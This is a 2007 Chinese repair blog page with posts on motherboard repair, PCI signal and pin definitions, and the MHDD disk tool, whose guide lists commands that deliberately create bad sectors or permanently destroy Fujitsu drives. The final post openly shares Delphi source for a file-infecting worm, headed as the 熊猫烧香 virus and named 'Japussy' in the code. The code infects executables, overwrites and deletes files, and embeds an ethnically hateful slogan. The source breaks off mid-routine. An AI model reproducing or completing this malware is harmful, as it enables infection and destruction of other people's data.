最新日志

发表于:2007-11-25 21:49:03
标签:硬件维修  

0

主板不开机维修流程

                主板不开机维修流程

这几天公司里的事太忙,没时间写博,发个东西给大家看吧,我以前刚学修主板时常看,内容很少,但都是精华,蛮好的。希望对大家有用。

主板不开机维修流程DOC

点击此处查看原文 >>

系统分类: 资源共享   |    用户分类:    |    来源: 转贴

评论(2) | 阅读(793)
发表于:2007-11-22 21:33:50
标签:资料查询  

0

推荐一个查询各类芯片PDF资料最全的网站

推荐一个查询各类芯片PDF资料最全的网站http://cn.alldatasheet.com/

在这个网站里有数据表, 资料表, 数据手册, 零件,电子零件,集成电路,二极管,三极管,场效应管,晶闸管,以及其他半导体产品信息。只要你输入的芯片型号正确,一般都可以查询得到你想要的资料。全是PDF格式的,可以下载,非常方便!不过全都是英文的,得懂点鸟语才行。我在维修中所碰到的陌生元件,我都是到这来查询。但愿对各位有用

点击此处查看原文 >>

系统分类: 资源共享   |    用户分类: 无分类    |    来源: 原创

评论(4) | 阅读(1309)
发表于:2007-11-22 13:57:50
标签:接口电路  

0

PCI信号定义说明(中文版)

                      PCI信号定义说明(中文版)

         1. AD[31:0]  (PCI ADDRESS / DATA BUS)
             
地址与数据总线讯号,FRAME#启动后地址才有效,
             PCLK
第一个CLOCK 动作初始化时,FRAME#动作后,输出
             
为地址与数据,写入周期,输入为数据,读取周期 TRDY#  
             IRDY#
会动作,高阻抗时,为数据转换周期或RESET#动作
         2. C/BE[3:0]# (PCI COMMAND /BYTE ENABLES)
              FRAME#
启动后,CLOCK第一个CLOCK,周期为PCI命令,
             
再下一个周期为允许命令,命令在FRAME#后有效,数据在
             TRDY#
IRDY#后有效
        3. DEVSEL# (PCI DEVSEL SELECT)
             
确定外部外围连结之响应讯号,高阻抗时,为停止周期或RE
             SET#
动作时
        4. FRAME# (PCI CYCLE FRAME)  
               PCI 
总线起始讯号             
        5. GNT[4:0]# (PCI BUS GRANT)  
               PCI 
总线控制认可讯号
        6. IRDY# (INITIATOR READY)
               
数据读取写入讯号
        7. LOCK# (PCI BUS LOCK)
               
总线锁住讯号
        8. PAR (PCI BUS PARITY)
               
地址与位传送之同位检错讯号
        9. PCLK (PCI CLOCK)
               PCI 
时脉讯号 
       10.PGNT# (PCI GRANT TO PERIPHERAL BUS CONTROLLER)
               PCI 
总线对外部外围装置之需求同意认可讯号
       11. PERQ# (PCI REQUEST FROM PERIPHERAL BUS CONTROLLER)
                 
外围处理器对PCI总线要求讯号
       12. REQ[4:0]# (PCI BUS REQUEST)
                 PCI 
总线需求讯号
        13. RESET# (RESET)
                 
系统重置讯号
        14. SERR# (SYSTEM ERROR)
                 
系统错误侦测讯号 可产生NMI 不可屏蔽中断
        15. STOP# (PCI BUS STOP)
                 PCI 
总线放弃或重试数据传送之讯号
        16. TRDY# (TARGET READY)
                 PCI 
总线数据读取传送讯号
        17.WSC# (WRITE SNOOP COMPLETE)
              I /O APIC 
芯片有上时之中断讯息传送讯号

点击此处查看原文 >>

系统分类: 汽车电子   |    用户分类:    |    来源: 转贴

评论(0) | 阅读(842)
发表于:2007-11-22 13:54:44
标签:无标签

1

PCI总线引脚定义(资料)

                           PCI总线引脚定义(资料)

PCI Bus Pinout 
-------------- 

32-Bit Connector Start 

Pin SideB SideA SideB SideA 

1 -12V TR5T* -12V TRST# 
2 TCK +12V TCK +12V 
3 GND TMS GND TMS 
4 TDO TDI TDO TDI 
5 +5V +5V +5V +5V 
6 +5V INTA +5V INTA# 
7 INTB# INTC# INTB# INTC# 
8 INTD# +5V INTD# +5V 
9 PRSNT2~ RSVD PRSNT2~ RSVD 
10 RSVD +5V(I/0)RSVD +3.3V(I/O) 
11 PRSNT2# RSVD PRSNT2# RSVD 
12 GND GND GND KEY 
13 GND GND GND KEY 
14 RSVD RSVD RSVD RSVD 
15 GND RST# GND RST# 
16 CLK +5V(I/0)CLK +3.3V(I/0) 
17 GND GNT# GND GNT# 
18 REQ# GND REQ# GND 
19 +5V(I/O)RSVD +5V(I/O)RSVD 
20 AD[31] AD[30] AD[31] AD[30] 
21 AD[29] +3.3V AD[29] +3.3V 
22 GND AD[28] GND AD[28] 
23 AD[27] AD[26] AD[27] AD[26] 
24 AD[25] GND AD[25] GND 
25 +3.3V AD[24] +3.3V AD[24] 
26 C/BE[3]#IDSEL C/BE[3]#IDSEL 
27 AD[23] +3.3V AD[23] +3.3V 
28 GND AD[22] GND AD[22] 
29 AD[21] AD[20] AD[21] AD[20] 
30 AD[19] GND AD[19] GND 
31 +3.3V AD[18] +3.3V AD[18] 
32 AD[17] AD[16] AD[17] AD[16] 
33 C/BE[2]#+3.3V C/BE[2]#+3.3V 
34 GND FRAME# GND FRAME# 
35 TRDY# GND TRDY# GND 
36 +3.3V TRDY# +3.3V TRDY# 
37 DEVSEL# GND DEVSEL# GND 
38 GND STOP# GND STOP# 
39 LOCK# +3.3V LOCK# +3.3V 
40 PERR# SDONE PERR# SDONE 
41 +3.3V SBO# +3.3V SBO# 
42 SERR# GND SERR# GND 
43 +3.3V PAR +3.3V PAR 
44 C/BE[I] #AD[15] C/BE[I] #AD[15] 
45 AD[14] +3.3V AD[14] +3.3V 
46 GND AD[13] GND AD[13] 
47 AD[12] AD[11] AD[12] AD[11] 
48 AD[10] GND AD[10] GND 
49 GND AD[09] GND AD[09] 
50 Key Key GND GND 
51 Key Key GND GND 
52 AD[08] C/BE[0]#AD[08] C/BE[0]# 
53 AD[07] +3.3V AD[07] +3.3V 
54 +3.3V AD[06] +3.3V AD[06] 
55 AD[05] AD[04] AD[05] AD[04] 
56 AD[03] GND AD[03] GND 
57 GND AD[02] GND AD[02] 
58 AD[01] AD[00] AD[01] AD[00] 
59 +5V(I/O)+5V(I/O)+3.3V(I/O)+3.3V(I/O) 
60 ACK64# REQ64# ACK64# REQ64# 
61 +5V +5V +5V +5V 
62 +5V +5V +5V +5V 

32-Bit Connector End 

Key Key Key Key 
Key Key Key Key 

64-bit Connector Start 

63 RSVD GND RSVD GND 
64 GND C/BE[7]#GND C/BE[7]# 
65 C/BE[6]#C/BE[5]#C/BE[6]#C/BE[S]# 
66 C/BE[4]#+5V(I/O)C/BE[4]#+3.3V(I/O) 
67 GND PAR64 GND PAR64 
68 AD[63] AD[62] AD[63] AD[62] 
69 AD[61] GND AD[61] GND 
70 +5V(I/O)AD[60] +3.3V(I/O)AD[60] 
71 AD[59] AD[58] AD[59] AD[58] 
72 AD[57] GND AD[57] GND 
73 GND AD[56] GND AD[56] 
74 AD[55] AD[54] AD[55] AD[54] 
75 AD[53] +5V(I/O)AD[53] +3.3V(I/O) 
76 GND AD[52] GND AD[52] 
77 AD[51] AD[50] AD[51] AD[50] 
78 AD[49] GND AD[49] GND 
79 +5V(I/O)AD[48] +3.3V(I/O)AD[43] 
80 AD[47] AD[46] AD[47] AD[46] 
81 AD[45] GND AD[45] GND 
82 GND AD[44] GND AD[44] 
83 AD[43] AD[42] AD[43] AD[42] 
84 AD[41] +5V(I/O)AD[41] +3.3V(I/O) 
85 GND AD[40] GND AD[40] 
86 AD[39] AD[38] AD[39] AD[38] 
87 AD[37] GND AD[37] GND 
88 +5V(I/O)AD[36] +3.3V(I/O) AD[36] 
89 AD[35] AD[34] AD[35] AD[34] 
90 AD[33] GND AD[33] GND 
91 GND AD[32] GND AD[32] 
92 RSVD RSVD RSVD RSVD 
93 RSVD GND RSVD GND 
94 GND RSVD GND RSVD 

64-bit Connector End 

点击此处查看原文 >>

系统分类: 嵌入式   |    用户分类:    |    来源: 转贴

评论(6) | 阅读(716)
发表于:2007-11-22 13:39:43
标签:硬件维修  

0

硬盘维修工具MHDD 2.9 使用方法全揭密

              硬盘维修工具MHDD 2.9 使用方法全揭密

MHDD2.9的使用:
    工作环境在DOS下。需要注意的是,不要将MHDD放在需要检测及修复的硬盘上,另外,MHDD也无法在打开了写保护的软盘、硬盘及光盘上正常工作。
    运行MHDD后,MHDD首先同样要检测系统中的所有硬盘并给出连接图示。我们随时可以按“shift+F3”键重新扫描硬盘连接状态。
    选择需要处理的硬盘后,就进入了MHDD的主界面。最上面一行为状态行,主要是显示BUSY、WRFT、AMNF、及TONF等硬盘(或硬盘某个扇区)或软件的当前状态。在状态行下面,是当前硬盘的磁头、柱面、扇区等参数。再往下则列出了MHDD的所有可用的命令。
   本人独自研究,为方便大家区分,特将mhdd所认到的坏道分为三类:
   1维修进程中绿色图标以下的;(少量绿色图标也可修复)
   2维修进程中绿色图标和红色图标;
   3维修进程中的繁体字符、W、以及少量?号
        scan命令:用于磁盘表面介质扫描与修复。MHDD将从保留容量中拿出同等容量的扇区来取代新发现的坏扇区,并将坏扇区的物理地址写入G-list表。所以硬盘总容量不会减少。这种修复方式是基于硬件底层的方法。MHDD并不是通过主板的BIOS来控制硬盘,而是直接读取硬盘的所有物理扇区。
    运行scan命令后,MHDD首先会报告当前硬盘的型号、串号、固件版本、支持的数据传输模式等参数(运行其它命令同样如此),然后进入scan状态。
    在扫描硬盘在前,我们还必须设置扫描配置。主要选项有扫描寻址模式(LBA或CHS),起始及结束的柱面或扇区、超时时限、清零时限、及是否重复扫描/修复。为了达到修复效果,建议打开remap(坏道重映射)、 Loop the test/repair(重复扫描/修复)及 Erase WAITs等选项。设置完成后按“F4”就可开始磁盘扫描。
    扫描时,在屏幕的右侧将显示磁盘表面各种状态的数量统计。“?”上面的灰度块表示磁盘表面状态正常,而彩色块表示此处的磁盘有潜在不稳定因素,尤其是红色块,则很容易转化我物理坏道。而“?”以下的状态表示此处的磁盘介质有损坏或有坏道。
    以上只是对一些坏道较少的硬盘的处理,此方法修复范围:(西捷、富士通、IBM、昆腾、迈拓、西数、IBM笔记本硬盘)其余像三星什么的尚不知道,没遇见过。有待朋友们去研究。
      修复成功率(1类坏道百分之九十以上,2、3百分之零)                                      
      同样,先按SHIFT+F3扫描硬盘连接并选择,按F4键,先用一般模式扫一遍,再用高级模式扫一变,具体方法是选择LBA模式,remap项OFF,Loop the test/repair项OFF,其余项ON,选择完毕CTRL+ENTER执行扫描,
    扫描完毕,执行上面操作,选CHS模式,Loop the test/repair项OFF,Erase WAITs项OFF,其余项选ON,选择完毕,执行扫描,OK!!!大家切记不要直接用高级模式进行扫描,有些朋友为了急于求成,就直接用高级
    模式对硬盘进行操作,这种做法是错误的,如果直接用高级模式扫的话,一次好不了的话,那么MHDD对其就无可奈何了,要么认不到硬盘,要么坏道无法修复)
     修复成功率(1类坏道百分之九十以上,2类坏道百分之七十,3类坏道百分之十)                 
     下面这个方法,没耐心的朋友就不必看了。同上,先按SHIFT+F3扫描硬盘连接并选择,按F4键,先用一般模式扫十遍以上,再用高级模式扫一变,具体方法在一般模式下将Loop the test/repair项选ON,执行扫描
   扫描至少10遍以后,ESC退出,重复操作,选择高级模式执行扫描,OK!!!
   修复成功率(1类坏道百分之九十以上,2类坏道百分之八十,3类坏道百分之六十)                 
    以上方法对?号和W坏道的修复好象还不是太完美,现在我们利用MHDD的一些命令进行辅助和配合,IBM、富士通、西数这些可以查看硬盘缺陷的,最好先执行IBME、FUJLST等命令,然后执行一般模式扫描,扫描到
    W或者?这些难以修复的坏道时按ESC退出,用randombad及makebad命令进行坏道标记,反复操作,坏道多的话可以标记坏扇区段,标记完以后执行高级模式扫描。还有就是修改硬盘容量法,你比如说,IBM的低格程序
    中就有一项可以改硬盘容量,会低格的朋友应该都知道。这里,大家先把硬盘容量改为最小(这里的最小不是0M或者1M,而是硬盘总容量的整百M位,比如10G就改为100M,20G就改为200M),然后在用MHDD进行扫描修复
    然后用MHDD的rhpa和nhpa恢复实际容量再进行扫描,完了再改为硬盘容量的一半,继续扫描,恢复容量扫描,最后把硬盘改为原始大小进行高级扫描一遍OK~!!!而且MHDD和很多修复软件可以配合使用,效果相当不错
    你比如HDDREG,HDDL,HDDSPEED都可以很好的和MHDD配合用。还有更多的方法等待大家研究。     
    aerase命令:可以逐扇区进行清零处理,不过速度会很慢。
    rhpa及nhpa命令:可分别显示及恢复硬盘的全部真实的容量。                                   
    aam命令:可以切换硬盘的性能及噪音状态,有127级(0~126)状态可供设置,“126”表示最高性能,不过此时硬盘的噪音最大。注意aam命令需要硬盘支持Automatic Acoustic Management技术才可以。
    rpm命令:可以检测硬盘转速,不过有些硬盘不支持此命令。
    randombad及makebad命令:可以强行为硬盘的一些扇区加上坏扇区标志。
    ibme及fujlst命令:可以分别查看IBM 及富士通的硬盘缺陷列表。                              
    pwd、unlock及dispwd命令:可以给硬盘加解锁,这种硬盘加入密码的方式很奇特,不过千万不要忘记了密码(如果真的忘了或者解不了你可以用HDLOCK这个硬盘锁把硬盘再锁一次,然后用它自带的UNLOCK和DISPWD解密,死马当活马医呗)</P>
<P>一○、MHDD修盘资料
MHDD 2.9使用详解(绝对机密)
关于MHDD
1、MHDD是俄罗斯Maysoft公司出品的专业硬盘工具软件,具有很多其他硬盘工具软件所无法比拟的强大功能,它分为免费版和收费的完整版,本文介绍的是免费版的详细用法。
2、MHDD无论以CHS还是以LBA模式,都可以访问到128G的超大容量硬盘(可访问的扇区范围从512到137438953472),即使你用的是286电脑,无需BIOS支持,也无需任何中断支持;
3、MHDD最好在纯DOS环境下运行;
4、MHDD可以不依赖于主板BIOS直接访问IDE口,但要注意不要使用原装Intel品牌主板;
5、不要在要检测的硬盘中运行MHDD;
6、MDD在运行时需要记录数据,因此不能在被写保护了的存储设备中运行(比如写保护的软盘、光盘等);
MHDD命令详解
EXIT(热键Alt+X):退出到DOS。
ID:硬盘检测,包括硬盘容量、磁头数、扇区数、SN序列号、Firmware固件版本号、LBA数值、支持的DMA级别、是否支持HPA、是否支持AAM、SMART开关状态、安全模式级别及开关状态……等)。
INIT:硬盘初始化,包括Device Reset(硬盘重置)、Setting Drive Parameters(设定硬盘参数)、Recalibrate(重校准)。
I(热键F2):同时执行ID命令和INIT命令。
ERASE:快速删除功能,每个删除单位等于255个扇区(数据恢复无效)。
AERASE:高级删除功能,可以将指定扇区段内的数据逐扇区地彻底删除(比ERASE慢,数据恢复同样无效),每个删除单位等于1个扇区。
HPA:硬盘容量剪切功能,可以减少硬盘的容量,使BIOS检测容量减少,但DM之类的独立于BIOS检测硬盘容量的软件仍会显示出硬盘原始容量。
NHPA:将硬盘容量恢复为真实容量。
RHPA:忽略容量剪切,显示硬盘的真实容量。
CLS:清屏。
PWD:给硬盘加USER密码,最多32位,什么也不输入表示取消。被锁的硬盘完全无法读写,低格、分区等一切读写操作都无效。如果加密码成功,按F2键后可以看到Security一项后面有红色的ON。要注意,设置完密码后必须关闭电源后在开机才会使密码起作用;
UNLOCK:对硬盘解锁。先选择0(USER),再正确输入密码。注意:选择1(Master)无法解开密码。
DISPWD:解除密码,先选择0(USER),再正确输入密码。在用DISPWD之前必须先用UNLOCK命令解锁。要注意,除了用UNLOCK和DISPWD命令可以解密码之外,没有任何办法可以解锁。而且一旦将密码遗忘(或输入错误),也没有任何办法可以解锁。如果解密码成功,按F2键后可以看到Security一项后面有灰色的OFF。注意:选择1(Master)无法解开密码。
RPM:硬盘转速度量(非常不准,每次测量数值都不同)。
TOF:为指定的扇区段建立映像文件(最大2G)。
FF:从映像文件(最大2G)恢复为扇区段。
AAM:自动噪音管理。可以用AAM(自动噪音管理)命令“所听即所得”式的调节硬盘的噪音。按F2键后如果有AAM字样,就表示硬盘支持噪音调节。键入AAM命令后,会显示出当前硬盘的噪音级别,并且可以马上就听到硬盘的读写噪音,要注意硬盘的噪音和性能是成正比的,噪音越大,性能越高,反之亦然。进入AAM命令后,按0键可以关闭AAM功能,按M键可以将噪音调至最小(性能最低),按P键可以将噪音调至最大(性能最高),按+加号和-减号可以自由调整硬盘的噪音值(数值范围从0到126),按L键可以获得噪音和性能的中间值(对某些硬盘如果按+加号和-减号无效,而又不想让噪音级别为最大或最小,可以按L键取噪音中间值),按D键表示关闭AAM功能,按ENTER键表示调整结束;
FDISK:快速地将硬盘用FAT32格式分为一个区(其实只是写入了一个MBR主引导记录),并设为激活,但要使用还需用FORMAT完全格式化。
SMART:显示SMART参数,并可以对SMART进行各项相关操作。SMART ON可以开启SMART功能,SMART OFF可以关闭SMART功能,SMART TEST可以对SMART进行检测。
PORT(热键Shift+F3):显示各IDE口上的硬盘,按相应的数字即可选择相应口的硬盘,之后该口会被记录在/CFG目录下的MHDD.CFG文件中,1表示IDE1口主,2表示IDE1口从,3表示IDE2口主,4表示IDE2口从,下次再进入MHDD后此口就成了默认口,编辑MHDD.CFG文件改变该值就可以改变MHDD默认的检测端口。所以,如果进入MHDD后按F2提示Disk Not Ready,就说明当前硬盘没有接在上次MHDD默认的那个口上,此时可以使用PORT命令重新选择硬盘(或更改MHDD.CFG文件)。
CX:对昆腾CX和LCT(包括LA、LB、LC)系列硬盘进行寻道测试,可以考验这两类硬盘上的飞利浦TDA5247芯片的稳定性(因为质量不好的5247芯片在频繁寻道时最容易露出马脚)。按ESC键停止。此命令也可用在其他硬盘上,它主要通过频繁随机寻道来提升硬盘电机驱动芯片的温度,从而测试硬盘在强负荷下的稳定性。
WAIT:等待硬盘就位。
STOP(热键Shift+F4):关闭硬盘马达。
IBME:查看IBM硬盘缺陷表(P-LIST)。此时要记录大量数据,缺陷表越大,生成的文件(在IBMLST目录下)越大,如果MHDD存在软盘上的话,有可能会空间不足;
FUJLST:查看富士通硬盘缺陷表(P-LIST)。此时要记录大量数据,缺陷表越大,生成的文件(在FUJLST目录下)越大,如果MHDD存在软盘上的话,有可能会空间不足;
MAKEBAD:人为地在某个指定区域内制造坏道。注意,由它生成的坏道很难修复。
RANDOMBAD:随机地在硬盘的各个地方生成坏道,按ESC键停止生成。注意,由它生成的坏道很难修复。
BATCH(热键F5):批处理。
R(热键F3):硬盘复位。比如使用了PWD加密码后,为了使密码马上生效,可以用此命令。
FUCKFUJ、KILLFUJ、AKILLFUJ:都是刻意破坏富士通硬盘的命令,一定谨慎使用,否则硬盘将被彻底损坏,无法修复。某一切正常的富士通硬盘,在使用FUCKFUJ命令后,仅一、两秒种,就提示破坏成功,重新启动后,连自检动作都消失了,主板检测不到,硬盘彻底报废。
SCAN(热键F4):盘面扫描,可以用特定模式来修复坏扇区,其中:
                 [Scan in: CHS/LBA]:以CHS或LBA模式扫描。CHS只对500M以下的老硬盘有效。
                 [Starting CYL]:设定开始扫描的柱面。
                 [Starting LBA]:设定开始扫描的LBA值。
                 [Log: On/Off]:是否写入日志文件。
                 [Remap: On/Off](重新映像):是否修复坏扇区。
                 [Ending CYL]:设定终止扫描的柱面
                 [Ending LBA]:设定终止扫描的LBA值。
                 [Timeout(sec)]:设定超时值,从1到200,默认值为30。
                 [Advanced LBA log](高级LBA日志):此项不支持。
                 [Standby after scan]:扫描结束后关闭硬盘马达,这样即可使SCAN扫描结束后,硬盘能够自动切断供电,但主机还是加电的(属于无人职守功能)。
                 [Loop the test/repair]:循环检测和修复,主要用于反复地修复顽固型坏道。
                 [Erase WAITs](删除等待):此项主要用于修复坏道,而且修复效果要比REMAP更为理想,尤其对IBM硬盘的坏道最为奏效,但要注意被修复的地方的数据是要被破坏的(因为Erase WAITS的每个删除单位是255个扇区)。Erase WAITS的时间默认为250毫秒,数值可设置范围从10到10000。要想设置默认时间,可以打开/CFG目录下的MHDD.CFG文件,修改相应项目即可更改Erase WAITS数值。此数值主要用来设定MHDD确定坏道的读取时间值(即读取某扇区块时如果读取时间达到或超过该数值,就认为该块为坏道,并开始试图修复),一般情况下,不必更改此数值,否则会影响坏道的界定和修复效果。
屏幕第一行的左半部分为为状态寄存器,右半部分为错误寄存器;在屏幕第一行的中间(在BUSY和AMNF之间)有一段空白区域,如果硬盘被加了密码,此处会显示PWD;如果硬盘用HPA做了剪切,此处会显示HPA;
屏幕第二行的左半部分为当前硬盘的物理参数,右半部分为当前正在扫描的位置;
屏幕右下角为计时器,Start表示开始扫描的时间,Time表示已消耗的时间,End表示预计结束的时间,结束后会再显示Time Count,表示总共耗费了多长的时间;
在扫描时,每个长方块代表255个扇区(在LBA模式下)或代表63个扇区(在CHS模式下);
扫描过程可随时按ESC键终止;
方块从上到下依次表示从正常到异常,读写速度由快到慢。正常情况下,应该只出现第一个和第二个灰色方块;
如果出现浅灰色方块(第三个方块),则代表该处读取耗时较多;
如果出现绿色和褐色方块(第三个和第四个方块),则代表此处读取异常,但还未产生坏道;
如果出现红色方块(第六个,即最后一个方块),则代表此处读取吃力,马上就要产生坏道;
如果出现问号?,则表示此处读取错误,有严重物理坏道,无法修复。
注1:有些读写速度奇慢的硬盘如果用MHDD的F4 SCAN扫描并把EraseWAITS打开就可以看到,要么均匀分布着很多W,要么就是遍布着很多五颜六色的方块,这说明这类硬盘之所以读写速度奇慢,就是因为大量的盘片扇区有瑕疵,造成读写每个扇区都会耗费较长的时间,综合到一起就导致了整个硬盘读写速度奇慢。
注2:老型号硬盘(2、3G以下)由于性能较低、速度较慢,因此在F4 SCAN检测时很少出现第一个方块,而出现第二和第三个方块,甚至会出现第四个方块(绿色方块),这种情况是由于老硬盘读写速度慢引起的,并不说明那些扇区读写异常。
在扫描时使用箭头键可以灵活地控制扫描的进程,很象VCD播放机:↑快进2%;↓后退2%;←后退0.1%;→快进0.1%。灵活运用箭头键,可以对不稳定、坏道顽固的区段进行反复扫描和修复;

点击此处查看原文 >>

系统分类: 嵌入式   |    用户分类:    |    来源: 转贴

评论(0) | 阅读(738)
发表于:2007-11-21 22:56:30
标签:医疗器械维修  

3

x光机球管搁置久首次使用要训练!

               X光机球管搁置久,首次使用要训练!

        昨日附近有家医院的一台500毫安X光机的高压电缆击穿,公司里一同事前往检修。拍片床的高压电缆确实是击穿了。因现场没有维修电缆的条件,医院又正在进行一场大体检,所以就临时把透视床的电缆移到拍片床用,院长又说,拍片的球管已有点老化了,拍片看不太清楚,而且现在医院大部分时间都是用拍片床,干脆把透视球管也先移到拍片床用。球管移好后,我同事再三的说:球管搁置久了不用,现在启用要从小条件50ma开始,每隔3分钟加5个毫安的慢慢训练球管才行!话音刚落,医院放射科一医师就自告奋勇的说:“我来!”我同事也不好说啥,就只好让他做。刚用50ma的条件暴光两次,试机的医师就说:“没事!可以用了!”说着就嗒!嗒!嗒!地调到120ma的条件要暴光,我同事急忙说:“不行!......”话音未完,试机医师手中的手闸开关已“嗒!”的一声按下!接着听见球管那边有声异响!“完了!球管暴了!”我同事惊呆了的说!在场的人都看傻了!

            这是一起本不该发生的事故!可是它却在我同事的一再强调的情况下发生了!也许那位医师到现在都还不是很明白为什么会有这样的结局。其实机器跟人一样有这样的规律:一个人如果在做激烈运动前没有做充分的锻炼就以百米冲刺的速度起跑,那结果是可想而知的。

        但愿以后同样的事情不会在我的身边发生了。真是太可惜那个球管了!

点击此处查看原文 >>

系统分类: 医疗电子   |    用户分类:    |    来源: 原创

评论(5) | 阅读(875)
发表于:2007-11-21 0:37:00
标签:与病毒斗争  

0

熊猫烧香病毒源代码 原代码分析

          熊猫烧香病毒源代码 原代码分析
年少輕狂漸漸的成長,仍難以掩飾我們年少的輕狂……    
现在熊猫烧香的病毒很流行中的人很多,我把源码公布下

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;             //病毒体的大小
IconOffset = $12EB8;           //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
 
{
HeaderSize = 38912;             //Upx压缩过病毒体的大小
IconOffset = $92BC;             //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize   = $2E8;             //PE文件主图标的大小--744字节
IconTail   = IconOffset + IconSize; //PE文件主图标的尾部
ID       = $44444444;         //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
        'If a country need to be destroyed, it must be Japan! ' +
        '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si:     STARTUPINFO;
Pi:     PROCESS_INFORMATION;
IsJap:   Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
  Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
  Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
  sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
  try
    dStream := TFileStream.Create(FileName, fmCreate);
    try
    sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
    dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
    finally
    dStream.Free;
    end;
  finally
    sStream.Free;
  end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
  if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
    Exit;
  Infected := False;
  IsPE   := False;
  SrcStream := TFileStream.Create(FileName, fmOpenRead);
  try
    for i := 0 to $108 do //检查PE文件头
    begin
    SrcStream.Seek(i, soFromBeginning);
    SrcStream.Read(Buf, 2);
    if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
    begin
      IsPE := True; //是PE文件
      Break;
    end;
    end;
    SrcStream.Seek(-4, soFromEnd); //检查感染标记
    SrcStream.Read(iID, 4);
    if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
    Infected := True;
  finally
    SrcStream.Free;
  end;
  if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
    Exit;
  IcoStream := TMemoryStream.Create;
  DstStream := TMemoryStream.Create;
  try
    aIcon := TIcon.Create;
    try
    //得到被感染文件的主图标(744字节),存入流
    aIcon.ReleaseHandle;
    aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
    aIcon.SaveToStream(IcoStream);
    finally
    aIcon.Free;
    end;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    //头文件
    HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
    //写入病毒体主图标之前的数据
    CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
    //写入目前程序的主图标
    CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
    //写入病毒体主图标到病毒体尾部之间的数据
    CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
    //写入宿主程序
    CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
    //写入已感染的标记
    DstStream.Seek(0, 2);
    iID := $44444444;
    DstStream.Write(iID, 4);
    finally
    HdrStream.Free;
    end;
  finally
    SrcStream.Free;
    IcoStream.Free;
    DstStream.SaveToFile(FileName); //替换宿主文件
    DstStream.Free;
  end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
  SetFileAttributes(PChar(FileName), 0); //去掉只读属性
  FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
  try
    Size := GetFileSize(FileHandle, nil); //文件大小
    i := 0;
    Randomize;
    Max := Random(15); //写入垃圾码的随机次数
    if Max < 5 then
    Max := 5;
    Mass := Size div Max; //每个间隔块的大小
    Len := Length(Catchword);
    while i < Max do
    begin
    FileSeek(FileHandle, i * Mass, 0); //定位
    //写入垃圾码,将文件彻底破坏掉
    FileWrite(FileHandle, Catchword, Len);
    Inc(i);
    end;
  finally
    FileClose(FileHandle); //关闭文件
  end;
  DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
  D := Chr(i + 65);
  Str := D + ':\';
  DiskType := GetDriveType(PChar(Str));
  //得到本地磁盘和网络盘
  if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
    Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
  if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
    (SearchRec.Name <> '..') then
    Result := 0 //不是目录
  else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
    (SearchRec.Name <> '..') then
    Result := 1 //不是根目录
  else Result := 2; //是根目录
end;
begin
